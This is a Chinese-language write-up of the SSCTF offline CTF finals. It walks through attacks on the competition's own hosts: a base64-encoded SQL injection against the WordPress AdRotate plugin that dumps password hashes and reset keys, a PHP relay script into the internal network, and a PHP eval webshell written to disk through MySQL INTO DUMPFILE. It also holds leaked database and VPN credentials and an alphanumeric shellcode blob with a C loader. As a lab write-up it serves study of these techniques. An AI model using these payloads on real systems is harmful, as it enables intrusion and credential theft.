0×01 前言
ssctf是sobug和四叶草组织的比赛。这次去了西安比赛,和好多大黑阔面基了,感觉很爽阿,自由之光的小伙伴们一起玩耍了一番。最后还是被菊花爷爷花式吊打。因为回来刚好有考试,就忙着复习去了,这才开始写线下决赛的writeup。这次和我组队的是wins0n,还有puzzor。主要是他们的队友稻草有事没法参加决赛,我就顶上。两个队友都是我的偶像阿,这次线下比赛的题目web的比重比较大,逆向和溢出的题目少了一些,不过难度很高,队友到最后也还是差一点时间。比赛的题目也是很贴近实战的,据出题人说都是模拟了遇到的真实环境来出题的。
一年没见EM他们了,见了面还是很开心哇,还见到了ztz师傅,redrain网红君,还有菊花爷爷,自由之光的各位。
0×02 wordpress
画个网络拓扑图描述一下 画得丑
线下决赛的题目是给了3个入口,两个web入口,一个溢出入口。这三个入口最终经过一步步深入都能得到内网的vpn账号,然后在内网中还有几道web题目。因为是线下比赛,时间比较紧,也没有机会再去复现,就没有太多的截图,将就看看吧。
web的第一个入口题目是一个wordpress,要求拿到webshell。 每台服务器上只有一个key,服务器之间会有相互的关联。
用wpscan扫了一下,可以出来一些提示,一开始我的wpscan没有更新,扫出了插件,可是没有exploit-db的链接提示,后来去搜了一下才发现了漏洞。
还去用wpscan扫了一下用户什么的,爆破了密码,后来给出了公告提示了不是爆破。所以就没有接着尝试。
使用wpscan这个命令来枚举插件。
-Enumerate installed plugins ... ruby /usr/bin/wpscan --url www.example.com --enumerate p wpscan --url cvtnnn.ssctf.com --enumerate p [+] Enumerating installed plugins ... Checking for 2380 total plugins... 100% complete. [+] We found 1 plugins: | Name: adrotate v3.9.4 | Location: http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/ | Readme: http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/readme.txt | | [!] AdRotate plugin = 3.6.5 SQL Injection Vulnerability | * Reference: http://unconciousmind.blogspot.com/2011/09/wordpress-adrotate-plugin-365-sql.html | | [!] AdRotate plugin = 3.6.6 SQL Injection Vulnerability | * Reference: http://www.exploit-db.com/exploits/18114/ [+] Finished at Fri Nov 14 20:06:28 2014 [+] Elapsed time: 00:00:07
我的wpscan没更新,没给出更详细的漏洞提示,只有旧版本的。
http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/readme.txt
adrotate v3.9.4
插件是3.9.4 谷歌搜一发 site:exploit-db.com adrotate
看看有没有对应的exp
https://wen.lu/
http://www.exploit-db.com/exploits/31834/
出来的第一条就是,是个注入,不过不是太好利用的注入,搞了半天浪费了很多时间。
漏洞的说明在这里。
1) SQL Injection in AdRotate: CVE-2014-1854
The vulnerability exists due to insufficient validation of “track” HTTP GET parameter passed to
“/wp-content/plugins/adrotate/library/clicktracker.php” script. A remote unauthenticated attacker can execute arbitrary SQL commands in application’s database.
The following PoC code contains a base64-encoded string “-1 UNION SELECT version(),1,1,1″, which will be injected into SQL query and will output MySQL server version:
http://[host]/wp-content/plugins/adrotate/library/clicktracker.php?track=LTEgVU5JT04gU0VMRUNUIHZlcnNpb24oKSwxLDEsMQ==
Successful exploitation will result in redirection to local URI that contains version of the MySQL server:
http://[host]/wp-content/plugins/adrotate/library/5.1.71-community-log
利用起来就是要先把sql语句base64编码之后get传递到track,如果成功注入的话就会有一个403的跳转,跳转的url就是回显。失败则没有跳转
http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/library/clicktracker.php?track=LTEgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMSwxLDE=
是-1 UNION SELECT database(),1,1,1的base64编码结果
成功得到403跳转 wordpress (注意最后一个参数必须要为1)
我还用php写了个中转处理的脚本,可以直接明文输入,并且直接回显。
<?php $id = $_GET['id']; $track = base64_encode($id); //正则表达式匹配Location: 捕获后面的部分,直到换行符为止的部分 $rule = '/Location: ([^\n\r]+)/i'; // 初始化一个 cURL 对象 $curl = curl_init(); //echo "http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/library/clicktracker.php?track=".$track; // 设置你需要抓取的URL curl_setopt($curl, CURLOPT_URL, "http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/library/clicktracker.php?track=".$track); // 设置header curl_setopt($curl, CURLOPT_HEADER, 1); // 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 运行cURL,请求网页 $data = curl_exec($curl); // 关闭URL请求 curl_close($curl); // 显示获得的数据 //var_dump($data); preg_match($rule,$data,$result); //var_dump($result); if($result) { echo($result[1]); } else echo 'error'; ?>
可以做个中转,传入exp.php?id=-1 UNION SELECT database(),1,1,1 就可以直接回显,拿去sqlmap跑也不行,很是纠结。
可是在我想注入,然后发现遇到”,”的话 貌似就会出现了问题,比如说
-1 union select group_concat(table_name,0x3a),1,1,1 from information_schema.tables where table_schema=database()
出了”,”就报错了。后来去看了源码才发现了问题所在。
adrotate.3.9.4.zip源码可以在这里下载。
\adrotate\library\clicktracker.php
找到这个sql注入发生的php
简单的分析了一下
if(isset($_GET['track']) OR $_GET['track'] != '') { if($adrotate_debug['track'] == true) { //根据$adrotate_debug['track']决定参数是参数是直接传入,或者是base64解一次 $meta = $_GET['track']; } else { $meta = base64_decode($_GET['track']);//默认的情况都是要base64_decode } list($ad, $group, $block, $remote) = explode(",", $meta, 4);//利用,分隔出四个元素 ...... ...... if($remote == 1) { $bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = $ad;");//没有单引号,注入发生在$ad wp_redirect(htmlspecialchars_decode($bannerurl), 302); }
看到这里我就明白了。这里的分隔就是利用了”,”分隔出了4个参数。如果把那些from 放后面就会注入失败,最后一个参数要为1
那么看懂了原理,我们重新构造一下注入的语句。
-1 UNION SELECT GROUP_CONCAT(user_pass) from wp_users,1,1,1
然后可以用代理脚本来传入或者是自己利用base64来看看
http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/library/clicktracker.php?track=LTEgVU5JT04gU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VyX3Bhc3MpIGZyb20gd3BfdXNlcnMsMSwxLDE=
成功注入得到了一个hash
PBGVtg3m4/d1eFu2TeqHbbQqKPx6q9R0
破了一发无解,后来给出了一个提示,利用找回密码来搞也是可以的。
在wordpress中,在wp_users中会有一个字段会储存了找回密码的key,利用这个key就可以重置用户的密码。
这个列是 user_activation_key
先访问一下忘记密码
http://cvtnnn.ssctf.com/wp-login.php?action=lostpassword
注入获取它-1 UNION SELECT GROUP_CONCAT(user_activation_key) from wp_users,1,1,1
PIkwqncxILkwqjkfl
得到了这个,然后构造url
http://cvtnnn.ssctf.com/wp-login.php?action=rp&key=PIkwqncxILkwqjkfl&login=admin
然后就得到了一串提示sLdT@2o14!P
利用admin:sLdT@2o14!P这个去登陆后台
得到了一个提示
./shell/KnQRuB77I3vvVH8NKSEa.php|pass=uxYbR
用菜刀连上去,就能拿到第一个flag
flag{c4e174cd02d73c898022386c69ff5c2b}
后台做好了逻辑处理 锁定了后台的字段阿密码阿,并且没法直接登陆,而是给出了下一步的提示,使得环境一直可以保持不变,还是不错的,先做出来的不会影响到后面的选手。 只是没划vlan,导致做到后面内网的时候,会出现钓鱼阿什么的情况,因为打错网段,做错方向了。
我一直坑爹没有看源码,一直坑到2点看了源码才出来,还是too young
0×02 mysql load_file
然后拿到webshell之后 就是去看看数据库
翻了一下找到了
/** WordPress数据库的名称 */ //define('DB_NAME', 'wordpress'); /** MySQL数据库用户名 */ //define('DB_USER', 'root'); /** MySQL数据库密码 */ //define('DB_PASSWORD', '3G2hSWVKrhK9BPvH'); /** MySQL主机 */ //define('DB_HOST', 'pogban.ssctf.com');
这里的mysql主机是pogban.ssctf.com 站库分离。数据库服务器是处于内网中的一台服务器,无法直接访问到。
因此就利用了一个php的中转脚本来访问到内网的服务器。
<?php // 初始化一个 cURL 对象 @$url = $_GET['url']; @$post = $_GET['post']; $curl = curl_init(); // 设置你需要抓取的URL curl_setopt($curl, CURLOPT_URL, "http://192.168.0.134/".$url); // 设置header curl_setopt($curl, CURLOPT_HEADER, 1); // 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 运行cURL,请求网页 $data = curl_exec($curl); // 关闭URL请求 curl_close($curl); // 显示获得的数据 var_dump($data); ?>
就用之前的中转脚本改改,http://192.168.0.134/ 是那个数据库域名的解析。
然后利用http://cvtnnn.ssctf.com/shell/curl.php?url=/
可以看到提示,说是离key又近了一步
因为是mysql的root的高权限,看看有没有读写的权限。
用菜刀在使用load_file的时候 会出现问题,长度会有限制,然后我在shell目录里找到了一个叫做ztz_162.php的大马
用了一下大马的数据库功能 load_file果然可以读全文件了。
提示要读取iis配置文件 在system32下没找到,就去翻翻别的地方
iis7 默认的路径 C:\WINDOWS\system32\inetstr\config\applicationHost.config
服务器是win2008的 后来给出了路径的tips
C:/inetpub/temp/appPools/DefaultAppPool/DefaultAppPool.config
是个备份的路径。
然后利用load_file读取一下,获取内网web的物理路径
select load_file(“C:/inetpub/temp/appPools/DefaultAppPool/DefaultAppPool.config”)
读出来,翻一下 找找路径
C:\secloverctf_webroot\wwwroot
显示是这个 这个时候注入是利用mysql的root权限来写shell进去咯。
<?php @eval($_GET[id]);?>
hex编码一下 写一个一句话
select CHAR(60,63,112,104,112,32,64,101,118,97,108,40,36,95,71,69,84,91,105,100,93,41,59,63,62) into dumpfile “C:/secloverctf_webroot/wwwroot/appleu0.php”
然后就是用一个url
http://cvtnnn.ssctf.com/shell/curl.php?url=/appleu0.php?id=phpinfo();
就可以用这个一句话马了
然后就是尝试一下system()函数来执行命令 发现没有禁用 那就比较方便了
http://cvtnnn.ssctf.com/shell/curl.php?url=/appleu0.php?id=system(“dir”);
看看目录
得到了keyxckjhaskdjhcvasd.php
用load_file去读
select load_file(“C:/secloverctf_webroot/wwwroot/keyxckjhaskdjhcvasd.php”)
成功拿到第二个flag 以及一个内网的vpn
//vpn ip 192.168.0.200 //vpn user:SSCTF //vpn pass:Jd8zaMMc6ZNziDnu
0×03 upload
http://mpjltm.ssctf.com/
另一个web入口是一个简单的html img 显示了一张图片,没发现什么东西。用工具扫一下目录 扫php文件
扫出来了一个upload.php
http://mpjltm.ssctf.com/upload.php
尝试突破上传 文件名被重命名了,搞不定,尝试截断什么的没成功。
去就搞那个链接,给出了一个href链接
kppw 2.5的cms
http://tmu4ci.ssctf.com/
这个网站没有开放注册,有的exp阿 就没法打。
在wooyun上搜了一下,打了一遍 没搞出来。
后来比赛结束之后,说是要用 将未公开漏洞纳入搜索结果 要用实习白帽子的身份才能看到那个漏洞。
真是尴尬,还有一种方法就是ztz现场挖了两个洞,前台注入+后台getshell 拿了下来
真是伤心,然后拿下了kppw之后就可以利用这个站 跨目录到那个upload.php 然后就拿到flag和vpn
这个路线没搞出来。
还有一个路线就是溢出的题
溢出的题做不来阿 是要利用10字节的shellcode来溢出。
题目有的变态,wins0n puzzor搞了一天 拖出来了code和密文 就差逆向 还是时间问题。
0×04 逆向彩蛋
中间给出了一道逆向的彩蛋题
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIXYJKMK9ICD6DJT019BOB47P1YYE4LK2Q6PLK2VDLLKD6ELLKQVDHLK3N10LKWFGH0OR8SEJS1IS1N1KOM13PLKRLFD7TLKW5WLLK0TGXRXS1ZJLK1ZTXLKPZWPUQJKKS7D1YLKFTLK5QZN6QKOP1IPKLNLK49PCDC7YQ8O4MEQYWJKZTWK3L7T7X2UM1LK1JFDS1ZK3VLKDL0KLKPZ5LUQZKLKC4LKC1JHK9G47TELU1O3X238GY8TLIKULIYR58LNPNTNZL62M8MOKOKOKOMY0E34OK3N9HKRRSMWEL14F2ZHLNKOKOKOLIW53858RL2LQ0G1BHWCFRVN54CXD5T3E5BRK8QL6DTJK9M60VKOPUETLIYRF0OKI8OR0MOLLG5LVD62ZHE1KOKOKOE8BVCURR1HU8WPCCBED22HQ03TRND358RF42BORMCX2KU5CIQ03XCDRHSU10FQIKMXQL7TDWK9M3RHF810Q0WPBH3UU26Q522HP7U1P9SRU8GBWI56E12H6S07SSP1SXRE5153P9CXVV54CV56SX3S6TFY3R587FFYWFWGVQ9YLHPLGTQ0K9M101N2V20S61QBKON0FQIP0PKOPUTHAA
给出了一段字符串
经过一番搜索发现是一种利用大写字符+数字编码的shellcode
#include char aphal1[]={"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIXYJKMK9ICD6DJT019BOB47P1YYE4LK2Q6PLK2VDLLKD6ELLKQVDHLK3N10LKWFGH0OR8SEJS1IS1N1KOM13PLKRLFD7TLKW5WLLK0TGXRXS1ZJLK1ZTXLKPZWPUQJKKS7D1YLKFTLK5QZN6QKOP1IPKLNLK49PCDC7YQ8O4MEQYWJKZTWK3L7T7X2UM1LK1JFDS1ZK3VLKDL0KLKPZ5LUQZKLKC4LKC1JHK9G47TELU1O3X238GY8TLIKULIYR58LNPNTNZL62M8MOKOKOKOMY0E34OK3N9HKRRSMWEL14F2ZHLNKOKOKOLIW53858RL2LQ0G1BHWCFRVN54CXD5T3E5BRK8QL6DTJK9M60VKOPUETLIYRF0OKI8OR0MOLLG5LVD62ZHE1KOKOKOE8BVCURR1HU8WPCCBED22HQ03TRND358RF42BORMCX2KU5CIQ03XCDRHSU10FQIKMXQL7TDWK9M3RHF810Q0WPBH3UU26Q522HP7U1P9SRU8GBWI56E12H6S07SSP1SXRE5153P9CXVV54CV56SX3S6TFY3R587FFYWFWGVQ9YLHPLGTQ0K9M101N2V20S61QBKON0FQIP0PKOPUTHAA"}; int main(int argc, char **argv) { __asm { lea esp,aphal1 jmp esp } return 0; }
0×05 内网环境
得到vpn之后 可以拨vpn进内网
在90段有另外的两台服务器
一台dz的服务器 一直没有人搞下来,最后出题人是说有弱口令 12345678
真是难 一路砸exp 挖洞过来 突然出一个弱口令 真是艰难
90段还有一个题是代码审计题 可以下载到源码
http://ub7r4e.ssctf.com/wwwroot.zip
是一套春晖123cms
我去下载了一套来对比了一下,发现了问题,他多了一个php.php的文件
代码比较简单 就是在得到管理员权限的时候去访问可以得到phpinfo() 从而得到路径
<?php require 'global.php'; function _index(){ extract(user::init()); if (!$ismanage) { echo "<script>alert('对不起,你无权访问此页面!')</script>"; exit; } phpinfo(); } ?>
比赛之后和ztz聊天 猜测是用注入得到一个管理员账号 之后 访问得到phpinfo()的信息
phpinfo中有物理路径 可以通过sql的方法来写马进去
然后就是挖洞洞了 一开始猜测是cookie欺骗 利用伪造的管理员cookie可以访问得到phpinfo()
后来看了一下源码 了解$ismanage的来源
/library/user.class.php 61行-73行 $res=$db->getRows('%s_page','id,norder,name','type=1','norder desc,id desc'); $p=''; foreach ($res as $rs) { $p.='<li><a href="page_'.$rs['id'].'.htm" title="'.$rs['name'].'">'.$rs['name'].'</a>'; if(kc_val($user,'ismanage')){ //底部内容编辑 $p.='<a href="javascript:;" class="manage" onclick="$.kc_ajax({URL:\'page.php\',CMD:\'edt\',id:'.$rs['id'].'})"><img src="images/edit.gif"/></a>'; if($rs['id']!=1) $p.='<a href="javascript:;" class="manage" onclick="$.kc_ajax({URL:\'page.php\',CMD:\'delete\',id:'.$rs['id'].'})"><img src="images/delete.gif"/></a>'; $p.='<var class="manage">['.$rs['norder'].']</var>'; } $p.='</li>'; }
if(kc_val($user,’ismanage’)){
发现了这个 调用了kc_val
看到了kc_val 找到函数的定义
/global.php 220行-229行 /** * 数组中获得值 * @param array $array 有值的数组 * @param string $val 键值 * @param string $def 如果数组中没有键值的时候,返回这个值 * @return string */ function kc_val($array,$val,$def=''){ return isset($array[$val]) ? $array[$val] : $def; }
是一个从$user取值的过程
/library/user.class.php 5-29行 class user{ /** * 判断登录状态 * * @return array|false 成功返回管理员信息$user 失败返回false */ static function check(){ $cookie=kc_cookie('userauth'); $cookiePass=substr($cookie,0,32); $userid=substr($cookie,32); $db=new db; if(!kc_validate($userid,2)) return false; $user=$db->getRows_one('%s_user','*','userid='.$userid); if (md5($user['userpass'])==$cookiePass) { return $user; }else{ return false; } }
$user是在登陆的过程中从数据库取出来的 并不可控,也就不是可以利用cookie来伪造身份,最后也时间也到了 没时间找到注入
比赛后听说菊花爷爷 黑盒测出了上传 利用iis 6.0解析漏洞搞了下来 也是屌的不行
0×06 后记
Light 4 Freedom 还是玩得很开心哇 见了好多听说了很久的大黑阔 还是开心哇
一个人还是有点吃力 总结了一下 平时要是要搞搞代码审计 多挖挖洞 多看点代码 慢慢成长吧
FROM :appleu0.sinaapp.com | Author:appleu0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论